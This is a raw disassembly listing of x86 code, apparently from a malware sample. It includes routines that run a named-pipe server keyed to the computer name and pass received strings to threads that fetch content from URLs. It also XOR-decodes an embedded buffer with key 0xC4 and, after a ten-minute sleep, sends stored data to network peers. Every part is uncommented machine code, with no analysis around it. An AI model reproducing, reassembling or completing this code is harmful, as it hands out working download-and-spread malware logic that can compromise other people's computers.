		pop	ecx
		jnz	short loc_9A8988
		mov	esi, [ebp+arg_0]
		push	edi		; Src
		call	sub_9A87FB
		mov	esi, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_8], 1


loc_9A8988:				; CODE XREF: sub_9A8948+2Aj
		mov	eax, [edi+10h]
		inc	[ebp+var_4]
		lea	ebx, [ebx+eax+14h]
		mov	eax, [ebp+var_4]
		cmp	eax, [esi]
		jb	short loc_9A895F


loc_9A8999:				; CODE XREF: sub_9A8948+15j
		mov	edi, [ebp+arg_0]
		call	sub_9A8881
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9A8948	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A89A9	proc near		; CODE XREF: sub_9A8A65+39p

Size		= dword	ptr -8
hMem		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edi
		mov	edi, eax
		cmp	dword ptr [edi+10h], 200h
		ja	short loc_9A89C1
		xor	eax, eax
		jmp	loc_9A8A62
; ---------------------------------------------------------------------------


loc_9A89C1:				; CODE XREF: sub_9A89A9+Fj
		push	esi
		lea	eax, [ebp+hMem]
		push	eax
		lea	esi, [ebp+Size]
		call	sub_9A86BD
		test	eax, eax
		pop	ecx
		jz	loc_9A8A61
		mov	edi, [ebp+hMem]
		mov	eax, [edi+10h]
		lea	ecx, [eax-200h]
		push	ecx		; int
		lea	esi, [edi+14h]
		push	esi		; int
		lea	eax, [eax+edi-1ECh]
		push	eax		; int
		push	dword_9BAB20	; int
		push	offset dword_9BAB28 ; Src
		call	sub_9AF464
		add	esp, 14h
		test	al, al
		jnz	short loc_9A8A0B
		xor	esi, esi
		jmp	short loc_9A8A58
; ---------------------------------------------------------------------------


loc_9A8A0B:				; CODE XREF: sub_9A89A9+5Cj
		mov	eax, [esi]
		push	ebx
		xor	ebx, ebx
		dec	eax
		jz	short loc_9A8A32
		dec	eax
		jnz	short loc_9A8A47
		mov	eax, [esi+4]
		not	eax
		push	1		; int
		and	eax, 1
		push	eax		; int
		push	dword ptr [esi+8] ; int
		add	esi, 0Ch
		push	esi		; Src
		call	sub_9A81B2
		add	esp, 10h
		jmp	short loc_9A8A40
; ---------------------------------------------------------------------------


loc_9A8A32:				; CODE XREF: sub_9A89A9+68j
		push	dword ptr [esi+8] ; nNumberOfBytesToWrite
		add	esi, 0Ch
		push	esi		; lpBuffer
		call	sub_9AD473
		pop	ecx
		pop	ecx


loc_9A8A40:				; CODE XREF: sub_9A89A9+87j
		test	eax, eax
		jz	short loc_9A8A47
		xor	ebx, ebx
		inc	ebx


loc_9A8A47:				; CODE XREF: sub_9A89A9+6Bj
					; sub_9A89A9+99j
		push	[ebp+Size]	; Size
		push	0		; Val
		push	edi		; Dst
		call	memset
		add	esp, 0Ch
		mov	esi, ebx
		pop	ebx


loc_9A8A58:				; CODE XREF: sub_9A89A9+60j
		push	edi		; hMem
		call	GlobalFree
		mov	eax, esi


loc_9A8A61:				; CODE XREF: sub_9A89A9+28j
		pop	esi


loc_9A8A62:				; CODE XREF: sub_9A89A9+13j
		pop	edi
		leave
		retn
sub_9A89A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A8A65	proc near		; CODE XREF: sub_9A8AD0+2Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edi
		xor	edi, edi
		cmp	[ebx], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], edi
		jbe	short loc_9A8ACA
		push	esi


loc_9A8A78:				; CODE XREF: sub_9A8A65+62j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		lea	esi, [ebx+edi+0Ch]
		cmp	eax, [esi+4]
		ja	short loc_9A8AB8
		push	dword ptr [esi]
		call	sub_9A87D0
		test	eax, eax
		pop	ecx
		jnz	short loc_9A8AB8
		call	sub_9A87A6
		test	eax, eax
		jnz	short loc_9A8AB8
		mov	eax, esi
		call	sub_9A89A9
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	short loc_9A8AB8
		mov	eax, [esi+4]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+8], eax
		jnb	short loc_9A8AB8
		mov	[ecx+8], eax


loc_9A8AB8:				; CODE XREF: sub_9A8A65+20j
					; sub_9A8A65+2Cj ...
		mov	eax, [esi+10h]
		inc	[ebp+var_4]
		lea	edi, [edi+eax+14h]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebx]
		jb	short loc_9A8A78
		pop	esi


loc_9A8ACA:				; CODE XREF: sub_9A8A65+10j
		mov	eax, [ebp+var_8]
		pop	edi
		leave
		retn
sub_9A8A65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A8AD0(LPCRITICAL_SECTION lpCriticalSection,int,int,int)

sub_9A8AD0	proc near		; CODE XREF: sub_9A8FC6+2Ep

lpCriticalSection= dword ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	edi
		push	[ebp+arg_8]
		mov	edi, ebx
		call	sub_9A8745
		test	eax, eax
		pop	ecx
		jz	short loc_9A8B43
		push	esi
		mov	esi, [ebp+lpCriticalSection]
		push	esi		; lpCriticalSection
		call	EnterCriticalSection
		and	[ebp+arg_4], 0
		cmp	[ebp+arg_C], 0
		jz	short loc_9A8B14
		push	dword ptr [esi+3Ch]
		call	sub_9A8A65
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_4], eax
		jz	short loc_9A8B14
		mov	eax, [esi+3Ch]
		call	sub_9A878B


loc_9A8B14:				; CODE XREF: sub_9A8AD0+2Aj
					; sub_9A8AD0+3Aj
		lea	edi, [esi+3Ch]
		push	ebx
		push	edi
		call	sub_9A8948
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		pop	ecx
		jz	short loc_9A8B2F
		mov	eax, [edi]
		call	sub_9A878B
		mov	ebx, eax


loc_9A8B2F:				; CODE XREF: sub_9A8AD0+54j
		push	esi		; lpCriticalSection
		call	LeaveCriticalSection
		xor	eax, eax
		cmp	ebx, eax
		pop	esi
		jz	short loc_9A8B43
		cmp	[ebp+arg_4], eax
		jz	short loc_9A8B43
		inc	eax


loc_9A8B43:				; CODE XREF: sub_9A8AD0+15j
					; sub_9A8AD0+6Bj ...
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_9A8AD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A8B47(LPCRITICAL_SECTION lpCriticalSection)

sub_9A8B47	proc near		; CODE XREF: StartAddress+1Fp

hMem		= dword	ptr -4
lpCriticalSection= dword ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+lpCriticalSection]
		push	edi
		mov	edi, InitializeCriticalSection
		lea	ebx, [esi+30h]
		push	esi		; lpCriticalSection
		mov	[ebx+4], ebx
		mov	[ebx], ebx
		call	edi ; InitializeCriticalSection
		lea	eax, [esi+18h]
		push	eax		; lpCriticalSection
		call	edi ; InitializeCriticalSection
		lea	eax, [esi+38h]
		push	eax
		call	sub_9A84E1
		lea	eax, [ebp+hMem]
		push	eax
		push	offset dword_9A2650
		push	offset byte_9A261C
		lea	eax, [ebp+lpCriticalSection]
		lea	ebx, [esi+3Ch]
		call	sub_9A8462
		add	esp, 10h
		test	eax, eax
		jz	short loc_9A8BAF
		push	[ebp+lpCriticalSection]
		mov	edi, [ebp+hMem]
		call	sub_9A8745
		test	eax, eax
		pop	ecx
		jz	short loc_9A8BA8
		xor	eax, eax
		mov	[ebx], edi
		inc	eax
		jmp	short loc_9A8BB6
; ---------------------------------------------------------------------------


loc_9A8BA8:				; CODE XREF: sub_9A8B47+58j
		push	edi		; hMem
		call	GlobalFree


loc_9A8BAF:				; CODE XREF: sub_9A8B47+48j
		push	ebx
		call	sub_9A8698
		pop	ecx


loc_9A8BB6:				; CODE XREF: sub_9A8B47+5Fj
		pop	edi
		mov	[esi+40h], eax
		pop	esi
		pop	ebx
		leave
		retn
sub_9A8B47	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A8BBE	proc near		; CODE XREF: sub_9AF7D5+190p
					; sub_9AFD0A+4Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+40h]
		retn
sub_9A8BBE	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A8BC6(LPCRITICAL_SECTION lpCriticalSection)

sub_9A8BC6	proc near		; CODE XREF: StartAddress+1F0p

lpCriticalSection= dword ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+lpCriticalSection]
		push	edi
		mov	edi, EnterCriticalSection
		push	esi		; lpCriticalSection
		call	edi ; EnterCriticalSection
		mov	eax, [esi+3Ch]
		call	sub_9A878B
		mov	ebx, LeaveCriticalSection
		push	esi		; lpCriticalSection
		mov	[esp+14h+lpCriticalSection], eax
		call	ebx ; LeaveCriticalSection
		lea	ebp, [esi+18h]
		push	ebp		; lpCriticalSection
		call	edi ; EnterCriticalSection
		push	dword ptr [esi+38h]
		add	esi, 30h
		push	esi
		call	sub_9A8579
		pop	ecx
		pop	ecx
		push	ebp		; lpCriticalSection
		mov	esi, eax
		call	ebx ; LeaveCriticalSection
		xor	eax, eax
		cmp	[esp+10h+lpCriticalSection], eax
		jz	short loc_9A8C12
		cmp	esi, eax
		jz	short loc_9A8C12
		inc	eax


loc_9A8C12:				; CODE XREF: sub_9A8BC6+45j
					; sub_9A8BC6+49j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_9A8BC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A8C17(LPCRITICAL_SECTION lpCriticalSection,int)

sub_9A8C17	proc near		; CODE XREF: sub_9A9067+4Bp
					; sub_9AF7D5+3EEp

lpCriticalSection= dword ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+lpCriticalSection]
		lea	eax, [esi+18h]
		push	edi
		push	eax		; lpCriticalSection
		mov	[ebp+lpCriticalSection], eax
		call	EnterCriticalSection
		mov	ebx, [ebp+arg_4]
		lea	edi, [esi+38h]
		add	esi, 30h
		call	sub_9A8625
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_9A8C4D
		push	dword ptr [edi]
		push	esi
		call	sub_9A8579
		pop	ecx
		pop	ecx
		mov	ebx, eax


loc_9A8C4D:				; CODE XREF: sub_9A8C17+28j
		push	[ebp+lpCriticalSection]	; lpCriticalSection
		call	LeaveCriticalSection
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn
sub_9A8C17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A8C5D(LPCRITICAL_SECTION lpCriticalSection,int)

sub_9A8C5D	proc near		; CODE XREF: StartAddress+1EAp

lpCriticalSection= dword ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+lpCriticalSection]
		lea	eax, [esi+18h]
		push	eax		; lpCriticalSection
		mov	[ebp+lpCriticalSection], eax
		call	EnterCriticalSection
		mov	eax, [ebp+arg_4]
		cmp	eax, [esi+38h]
		lea	ebx, [esi+30h]
		ja	short loc_9A8CAA
		push	edi
		mov	edi, [ebx+4]
		jmp	short loc_9A8CA5
; ---------------------------------------------------------------------------


loc_9A8C83:				; CODE XREF: sub_9A8C5D+4Aj
		mov	eax, [ebp+arg_4]
		cmp	[esi+38h], eax
		jbe	short loc_9A8CA9
		mov	edx, edi
		mov	ecx, [edx]
		lea	eax, [edi+4]
		mov	edi, [eax]
		mov	eax, edi
		mov	[eax], ecx
		push	edx		; hMem
		mov	[ecx+4], eax
		call	GlobalFree
		dec	dword ptr [esi+38h]


loc_9A8CA5:				; CODE XREF: sub_9A8C5D+24j
		cmp	edi, ebx
		jnz	short loc_9A8C83


loc_9A8CA9:				; CODE XREF: sub_9A8C5D+2Cj
		pop	edi


loc_9A8CAA:				; CODE XREF: sub_9A8C5D+1Ej
		push	[ebp+lpCriticalSection]	; lpCriticalSection
		call	LeaveCriticalSection
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_9A8C5D	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A8CB7(LPCRITICAL_SECTION lpCriticalSection,int,int)

sub_9A8CB7	proc near		; CODE XREF: sub_9AF7D5+27Bp

lpCriticalSection= dword ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	edi
		mov	edi, [esp+8+lpCriticalSection]
		push	edi		; lpCriticalSection
		xor	ebx, ebx
		call	EnterCriticalSection
		mov	eax, [edi+3Ch]
		test	eax, eax
		jz	short loc_9A8CFC
		push	esi
		mov	esi, [eax+4]
		add	esi, 0Ch
		push	esi		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		test	eax, eax
		mov	ecx, [esp+0Ch+arg_4]
		mov	[ecx], eax
		jz	short loc_9A8CFB
		push	esi		; Size
		push	dword ptr [edi+3Ch] ; Src
		push	eax		; Dst
		call	memcpy
		mov	eax, [esp+18h+arg_8]
		add	esp, 0Ch
		mov	[eax], esi
		inc	ebx


loc_9A8CFB:				; CODE XREF: sub_9A8CB7+2Ej
		pop	esi


loc_9A8CFC:				; CODE XREF: sub_9A8CB7+14j
		push	edi		; lpCriticalSection
		call	LeaveCriticalSection
		pop	edi
		mov	eax, ebx
		pop	ebx
		retn
sub_9A8CB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A8D08	proc near		; CODE XREF: sub_9A8F28+1Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		lea	ebx, [esi+18h]
		push	ebx		; lpCriticalSection
		call	EnterCriticalSection
		lea	edi, [esi+30h]
		mov	esi, [edi]
		jmp	short loc_9A8D2F
; ---------------------------------------------------------------------------


loc_9A8D20:				; CODE XREF: sub_9A8D08+29j
		push	[esp+0Ch+arg_8]
		push	dword ptr [esi+8]
		call	[esp+14h+arg_4]
		mov	esi, [esi]
		pop	ecx
		pop	ecx


loc_9A8D2F:				; CODE XREF: sub_9A8D08+16j
		cmp	esi, edi
		jnz	short loc_9A8D20
		push	ebx		; lpCriticalSection
		call	LeaveCriticalSection
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_9A8D08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A8D3E(char *Dest,size_t Count)

sub_9A8D3E	proc near		; CODE XREF: sub_9A8D7E+16p
					; sub_9A90F2+18p

Buffer		= byte ptr -104h
nSize		= dword	ptr -4
Dest		= dword	ptr  8
Count		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		lea	eax, [ebp+nSize]
		push	eax		; nSize
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		mov	[ebp+nSize], 100h
		call	GetComputerNameA
		push	7
		lea	eax, [ebp+Buffer]
		push	eax
		push	offset byte_9A268C ; Format
		push	[ebp+Count]	; Count
		push	[ebp+Dest]	; Dest
		call	_snprintf
		add	esp, 14h
		leave
		retn
sub_9A8D3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A8D7E(char *lpBuffer)

sub_9A8D7E	proc near		; CODE XREF: sub_9A9067+65p

Dest		= byte ptr -10Ch
NumberOfBytesWritten= dword ptr	-8
var_4		= dword	ptr -4
lpBuffer	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		lea	eax, [ebp+Dest]
		push	104h		; Count
		push	eax		; Dest
		call	sub_9A8D3E
		pop	ecx
		pop	ecx
		push	0		; hTemplateFile
		push	80h		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	3		; dwShareMode
		push	0C0000000h	; dwDesiredAccess
		lea	eax, [ebp+Dest]
		push	eax		; lpFileName
		call	CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_9A8DC5
		xor	eax, eax
		jmp	short loc_9A8DFE
; ---------------------------------------------------------------------------


loc_9A8DC5:				; CODE XREF: sub_9A8D7E+41j
		push	esi
		push	[ebp+lpBuffer]	; Str
		call	strlen
		pop	ecx
		push	0		; lpOverlapped
		lea	esi, [eax+1]
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	esi		; nNumberOfBytesToWrite
		push	[ebp+lpBuffer]	; lpBuffer
		push	ebx		; hFile
		call	WriteFile
		test	eax, eax
		jz	short loc_9A8DF3
		cmp	esi, [ebp+NumberOfBytesWritten]
		jnz	short loc_9A8DF3
		mov	[ebp+var_4], 1


loc_9A8DF3:				; CODE XREF: sub_9A8D7E+67j
					; sub_9A8D7E+6Cj
		push	ebx		; hObject
		call	CloseHandle
		mov	eax, [ebp+var_4]
		pop	esi


loc_9A8DFE:				; CODE XREF: sub_9A8D7E+45j
		pop	ebx
		leave
		retn
sub_9A8D7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A8E01	proc near		; CODE XREF: sub_9A9067+26p

Buf2		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Dest		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, eax
		push	esi		; Str
		call	wcslen
		shl	eax, 1
		cmp	eax, 1F6h
		pop	ecx
		jnb	short loc_9A8E22
		xor	eax, eax
		jmp	loc_9A8F0F
; ---------------------------------------------------------------------------


loc_9A8E22:				; CODE XREF: sub_9A8E01+18j
		push	ebx
		push	0Ch		; Size
		lea	ebx, [esi+66h]
		push	offset loc_9BA9F0 ; Buf2
		push	ebx		; Buf1
		call	memcmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_9A8E41
		xor	eax, eax
		jmp	loc_9A8F0E
; ---------------------------------------------------------------------------


loc_9A8E41:				; CODE XREF: sub_9A8E01+37j
		push	edi
		mov	esi, 190h
		push	esi		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	edi, eax
		test	edi, edi
		jz	loc_9A8F0D
		push	esi		; Size
		push	ebx		; Src
		push	edi		; Dst
		call	memcpy
		add	esp, 0Ch
		push	15h
		pop	ecx
		mov	eax, ecx


loc_9A8E6A:				; CODE XREF: sub_9A8E01+70j
		xor	byte ptr [eax+edi], 0C4h
		inc	eax
		cmp	eax, esi
		jb	short loc_9A8E6A
		mov	eax, dword_9A26A4
		mov	[ebp+Buf2], eax
		mov	eax, dword_9A26A8
		or	ebx, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ecx


loc_9A8E89:				; CODE XREF: sub_9A8E01+A6j
		push	7		; Size
		lea	eax, [ebp+Buf2]
		push	eax		; Buf2
		mov	eax, [ebp+var_4]
		add	eax, edi
		push	eax		; Buf1
		call	memcmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_9A8EAB
		inc	[ebp+var_4]
		cmp	[ebp+var_4], esi
		jb	short loc_9A8E89
		jmp	short loc_9A8EAE
; ---------------------------------------------------------------------------


loc_9A8EAB:				; CODE XREF: sub_9A8E01+9Ej
		mov	ebx, [ebp+var_4]


loc_9A8EAE:				; CODE XREF: sub_9A8E01+A8j
		and	[ebp+var_4], 0
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_9A8F03
		sub	esi, ebx
		cmp	esi, [ebp+arg_4]
		jb	short loc_9A8EC1
		mov	esi, [ebp+arg_4]


loc_9A8EC1:				; CODE XREF: sub_9A8E01+BBj
		push	esi		; Count
		add	ebx, edi
		push	ebx		; Source
		mov	ebx, [ebp+Dest]
		push	ebx		; Dest
		call	strncpy
		mov	byte ptr [esi+ebx-1], 0
		push	2Fh		; Val
		add	ebx, 7
		push	ebx		; Str
		call	strchr
		mov	esi, eax
		add	esp, 14h
		test	esi, esi
		jz	short loc_9A8EFC
		inc	esi
		push	esi		; Str
		call	strlen
		inc	eax
		push	eax		; int
		push	esi		; int
		push	esi		; Str
		call	sub_9AD2C5
		add	esp, 10h


loc_9A8EFC:				; CODE XREF: sub_9A8E01+E6j
		mov	[ebp+var_4], 1


loc_9A8F03:				; CODE XREF: sub_9A8E01+B4j
		push	edi		; hMem
		call	GlobalFree
		mov	eax, [ebp+var_4]


loc_9A8F0D:				; CODE XREF: sub_9A8E01+53j
		pop	edi


loc_9A8F0E:				; CODE XREF: sub_9A8E01+3Bj
		pop	ebx


loc_9A8F0F:				; CODE XREF: sub_9A8E01+1Cj
		pop	esi
		leave
		retn
sub_9A8E01	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A8F12(u_long	netlong,int)

sub_9A8F12	proc near		; DATA XREF: sub_9A8F28+12o

netlong		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	dword ptr [eax+4] ; Size
		push	dword ptr [eax]	; Src
		push	[esp+8+netlong]	; netlong
		call	sub_9AABAE
		add	esp, 0Ch
		retn
sub_9A8F12	endp


; =============== S U B	R O U T	I N E =======================================


; DWORD	__stdcall sub_9A8F28(LPVOID)

sub_9A8F28	proc near		; DATA XREF: sub_9A8F60+47o

hMem		= dword	ptr  4

		push	esi
		push	edi
		push	927C0h		; dwMilliseconds
		call	Sleep
		mov	esi, [esp+8+hMem]
		push	esi
		push	offset sub_9A8F12
		push	offset CriticalSection
		call	sub_9A8D08
		mov	edi, GlobalFree
		add	esp, 0Ch
		push	dword ptr [esi]	; hMem
		call	edi ; GlobalFree
		push	esi		; hMem
		call	edi ; GlobalFree
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
sub_9A8F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A8F60(void *Src,SIZE_T Size)

sub_9A8F60	proc near		; CODE XREF: sub_9AD6D4+89p

ThreadId	= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	edi, GlobalAlloc
		push	8		; dwBytes
		push	40h		; uFlags
		call	edi ; GlobalAlloc
		mov	esi, eax
		test	esi, esi
		jz	short loc_9A8FC2
		push	ebx
		mov	ebx, [ebp+Size]
		push	ebx		; dwBytes
		push	40h		; uFlags
		call	edi ; GlobalAlloc
		xor	edi, edi
		cmp	eax, edi
		mov	[esi], eax
		jnz	short loc_9A8F94
		push	esi		; hMem
		call	GlobalFree
		xor	eax, eax
		jmp	short loc_9A8FC1
; ---------------------------------------------------------------------------


loc_9A8F94:				; CODE XREF: sub_9A8F60+27j
		push	ebx		; Size
		push	[ebp+Src]	; Src
		push	eax		; Dst
		call	memcpy
		add	esp, 0Ch
		lea	eax, [ebp+ThreadId]
		push	eax		; lpThreadId
		push	edi		; dwCreationFlags
		push	esi		; lpParameter
		push	offset sub_9A8F28 ; lpStartAddress
		push	edi		; dwStackSize
		push	edi		; lpThreadAttributes
		mov	[esi+4], ebx
		call	CreateThread
		push	eax		; hObject
		call	CloseHandle
		xor	eax, eax
		inc	eax


loc_9A8FC1:				; CODE XREF: sub_9A8F60+32j
		pop	ebx


loc_9A8FC2:				; CODE XREF: sub_9A8F60+16j
		pop	edi
		pop	esi
		leave
		retn
sub_9A8F60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_9A8FC6(LPVOID)

sub_9A8FC6	proc near		; DATA XREF: sub_9A9015+35o

var_4		= dword	ptr -4
lpszUrl		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		push	0		; int
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	[ebp+lpszUrl]	; lpszUrl
		call	sub_9ACAC1
		mov	esi, GlobalFree
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_9A9008
		push	1		; int
		push	[ebp+var_4]	; int
		push	edi		; int
		push	offset CriticalSection ; lpCriticalSection
		call	sub_9A8AD0
		add	esp, 10h
		test	eax, eax
		jz	short loc_9A9005
		call	sub_9AD569


loc_9A9005:				; CODE XREF: sub_9A8FC6+38j
		push	edi		; hMem
		call	esi ; GlobalFree


loc_9A9008:				; CODE XREF: sub_9A8FC6+21j
		push	[ebp+lpszUrl]	; hMem
		call	esi ; GlobalFree
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_9A8FC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A9015(char *Src)

sub_9A9015	proc near		; CODE XREF: sub_9A9067:loc_9A90D3p
					; sub_9A90F2+81p

ThreadId	= dword	ptr -4
Src		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		push	[ebp+Src]	; Str
		call	strlen
		mov	esi, eax
		pop	ecx
		inc	esi
		push	esi		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	edi, eax
		test	edi, edi
		jz	short loc_9A9063
		push	esi		; Size
		push	[ebp+Src]	; Src
		push	edi		; Dst
		call	memcpy
		add	esp, 0Ch
		lea	eax, [ebp+ThreadId]
		push	eax		; lpThreadId
		push	0		; dwCreationFlags
		push	edi		; lpParameter
		push	offset sub_9A8FC6 ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	CreateThread
		push	eax		; hObject
		call	CloseHandle
		xor	eax, eax
		inc	eax


loc_9A9063:				; CODE XREF: sub_9A9015+1Fj
		pop	edi
		pop	esi
		leave
		retn
sub_9A9015	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A9067	proc near		; CODE XREF: sub_9AAD64+1Cp

Src		= byte ptr -124h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	114h
		push	offset stru_9A26B0
		call	__SEH_prolog
		and	[ebp+var_1C], 0
		and	[ebp+ms_exc.disabled], 0
		push	104h
		lea	eax, [ebp+Src]
		push	eax
		mov	eax, [ebp+arg_0]
		call	sub_9A8E01
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_9A90E5
		lea	eax, [ebp+Src]
		push	eax		; Str1
		call	sub_9AD312
		pop	ecx
		mov	[ebp+var_20], eax
		test	eax, eax
		jz	short loc_9A90B9
		push	eax		; int
		push	offset CriticalSection ; lpCriticalSection
		call	sub_9A8C17
		pop	ecx
		pop	ecx


loc_9A90B9:				; CODE XREF: sub_9A9067+43j
		call	GetVersion
		cmp	ax, 5
		lea	eax, [ebp+Src]
		push	eax		; Src
		jnz	short loc_9A90D3
		call	sub_9A8D7E
		jmp	short loc_9A90D8
; ---------------------------------------------------------------------------


loc_9A90D3:				; CODE XREF: sub_9A9067+63j
		call	sub_9A9015


loc_9A90D8:				; CODE XREF: sub_9A9067+6Aj
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_9A90E5
; ---------------------------------------------------------------------------


loc_9A90DE:				; DATA XREF: .text:stru_9A26B0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A90E2:				; DATA XREF: .text:stru_9A26B0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A90E5:				; CODE XREF: sub_9A9067+2Fj
					; sub_9A9067+75j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_9A9067	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_9A90F2(LPVOID)

sub_9A90F2	proc near		; DATA XREF: StartAddress+64o

var_511		= byte ptr -511h
Buffer		= byte ptr -510h
Dest		= byte ptr -110h
var_C		= dword	ptr -0Ch
NumberOfBytesRead= dword ptr -8
hObject		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+Dest]
		push	104h		; Count
		push	eax		; Dest
		call	sub_9A8D3E
		mov	edi, CreateNamedPipeA
		pop	ecx
		pop	ecx
		mov	ebx, 3E8h
		mov	esi, 400h
		jmp	short loc_9A9182
; ---------------------------------------------------------------------------


loc_9A9123:				; CODE XREF: sub_9A90F2+AAj
		push	0		; lpOverlapped
		push	[ebp+hObject]	; hNamedPipe
		call	ConnectNamedPipe
		mov	[ebp+var_C], eax
		call	GetLastError
		cmp	[ebp+var_C], 0
		jnz	short loc_9A9144
		cmp	eax, 217h
		jnz	short loc_9A91A3


loc_9A9144:				; CODE XREF: sub_9A90F2+49j
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		push	esi		; nNumberOfBytesToRead
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		push	[ebp+hObject]	; hFile
		call	ReadFile
		test	eax, eax
		jz	short loc_9A9179
		mov	eax, [ebp+NumberOfBytesRead]
		cmp	[ebp+eax+var_511], 0
		jnz	short loc_9A9179
		lea	eax, [ebp+Buffer]
		push	eax		; Src
		call	sub_9A9015
		pop	ecx


loc_9A9179:				; CODE XREF: sub_9A90F2+6Bj
					; sub_9A90F2+78j
